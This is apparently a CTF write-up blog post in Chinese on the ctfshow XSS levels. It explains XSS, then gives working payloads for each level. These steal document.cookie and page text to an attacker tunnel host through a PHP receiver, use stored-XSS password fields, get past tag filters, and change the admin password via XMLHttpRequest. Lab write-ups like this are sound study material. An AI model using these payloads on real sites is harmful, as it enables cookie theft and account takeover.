ctfshow-xss

1

关键词:

跨站
脚本(JavaScript、Java、 VBScript、ActiveX、 Flash 或者 HTML)
注入
执行

介绍

1. 什么是 XSS 漏洞?

XSS 攻击:跨站脚本攻击(Cross Site Scripting),为不和 前端层叠样式表(Cascading Style Sheets)CSS 混淆,故将跨站脚本攻击缩写为 XSS。

XSS(跨站脚本攻击)是指恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。类似于 sql 注入。是目前最普遍的 Web 应用安全漏洞,也是 Web 攻击中最常见的攻击方式之一。

XSS( 跨站脚本攻击)攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java、 VBScript、ActiveX、 Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。

2. XSS 漏洞攻击原理及攻击手段

HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,之间的字符是页面的标题等等。

当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签,当这些 HTML 标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生 XSS 漏洞。

常用的 XSS 攻击手段和目的有:

1、盗用 cookie,获取敏感信息。

2、利用植入 Flash,通过 crossdomain 权限设置进一步获取更高权限;或者利用 Java 等得到类似的操作。

3、利用 iframe、frame、XMLHttpRequest 或上述 Flash
等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

5、在访问量极大的一些页面上的 XSS 可以攻击一些小型网站,实现 DDoS 攻击的效果。

web316

使用cpolar进行内网穿透。
本地写入xss.php

<?php 
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>

这一题输入 <script>windows.location.href='http://1f72xxx3.r3.cpolar.top/xss.php?c='+document.cookie</script>不加window也可以。
本地得到flag。
还有<script>window.open('http://ip/'+document.cookie)</script>
<svg onload="window.open('http://xxx/'+document.cookie)">
<iframe onload="window.open('http://1xxx/'+document.cookie)"></iframe>

Window open() 方法
open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。

1

web317

进行了过滤,<script>进行了过滤。那就使用<body>
<body onload="window.location.href='http://1f72eccc63.r3.cpolar.top/xss.php?c='+document.cookie">
本地得到flag。

web318

过滤img

web320-322

过滤了空格采用/**/

web 323-326

过滤了xss,把本地的接收文件(xss.php)改为x.php

以上都是反射型,接下来是存储型

web327

<body onload="window.location.href='http://1f72ffec63.r3.cpolar.top/xss.php?c='+document.cookie">
需注意收件人必须是admin。

web328

用户管理处显示我们不是admin
1
所以我们注册一个用户进行xss,因为在注册用户时会把账户密码存储起来,当管理员打开页面时会进行攻击并且得到cookie。

2
密码为:<script>document.location.href='http://1f72ec63.r3.cpolar.top/x.php?c='+document.cookie</script>过一段时间后本地文件会得到cookie
3
进入用户管理页面没找到flag。用burp抓包试试。
5

web329

上题的思路不能用了,发现admin的cookie会改变,使用后就不能用了。
看了师傅们文章,借鉴一下:

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
	if(value.innerText.indexOf('ctfshow{')>-1)
	{location.href='http://1f72ec63.r3.cpolar.top/x.php?c='+value.innerText}
});
</script>
/*该 JavaScript 代码中的主要功能是在当前网页中查找所有类名为“laytable-cell-1-0-1”的
元素。使用 jQuery 库中的 each() 函数迭代这些元素,对每个元素执行以下操作:
使用 indexOf() 函数检查该元素中的文本是否包含“ctfshow{”字符串,如果包含则执行下一步,
否则不做任何操作。

构造一个 URL,其中“http://ip/x.php?cookie=”是目标网站的 URL,而 value.innerText
 是包含“ctfshow{”字符串的元素的文本内容,将该文本作为参数添加到 URL 末尾。

使用 location.href 跳转到新的 URL 页面。


"laytable-cell-1-0-1" 是一个 HTML 元素的类名(class name),用于标识该元素属于一个
表格(table)中的一个单元格(cell)。通常情况下,一个表格中的单元格都具有类似的类名,例
如“laytable-cell-1-0-2”、“laytable-cell-1-1-0”等等,其中的数字表示单元格在表格中的
行列位置。该类名可能是由某个前端框架或库自动生成的,用于对表格进行样式设置或 JavaScript 
操作。在给定的 JavaScript 代码中,该类名被用于查找包含特定字符串的单元格并执行相关操作。
*/

这是一段 JavaScript 代码,其作用是在当前网页中寻找所有类名为“laytable-cell-1-0-1”的元素,如果这些元素中的文本包含“ctfshow{”,那么将跳转到“http://ip/x.php?cookie=”+value.innerText 的页面,其中 value.innerText 是包含“ctfshow{”文本的元素的文本内容。请注意,该代码可能会对用户的计算机或网络造成潜在的安全风险,应仅在安全环境中运行。

注册一个新用户 密码填入payload
<script> $('.laytable-cell-1-0-1').each(function(index,value){ if(value.innerText.indexOf('ctfshow{')>-1) {location.href='http://1f72ec63.r3.cpolar.top/x.php?c='+value.innerText} }); </script>
一段时候得到flag。
2

web330

本题多了一个修改密码的选项,抓包看看。存在一个api接口。
1
我们可以再创建一个用户,user为payload也就是<script>window.location.href='http://127.0.0.1/api/change.php?p=asdd'</script>
这时当我们登陆时就是管理员身份。
2

web331

抓包发现要使用post请求,不太懂js。网上搜一下使用js发送http请求。
推荐一个方法:

XMLHttpRequest()

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};

注册user 和password的payload,访问用户管理页面即可得到flag。

<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1/api/change.php',true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('p=1234567');
</script>

2

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信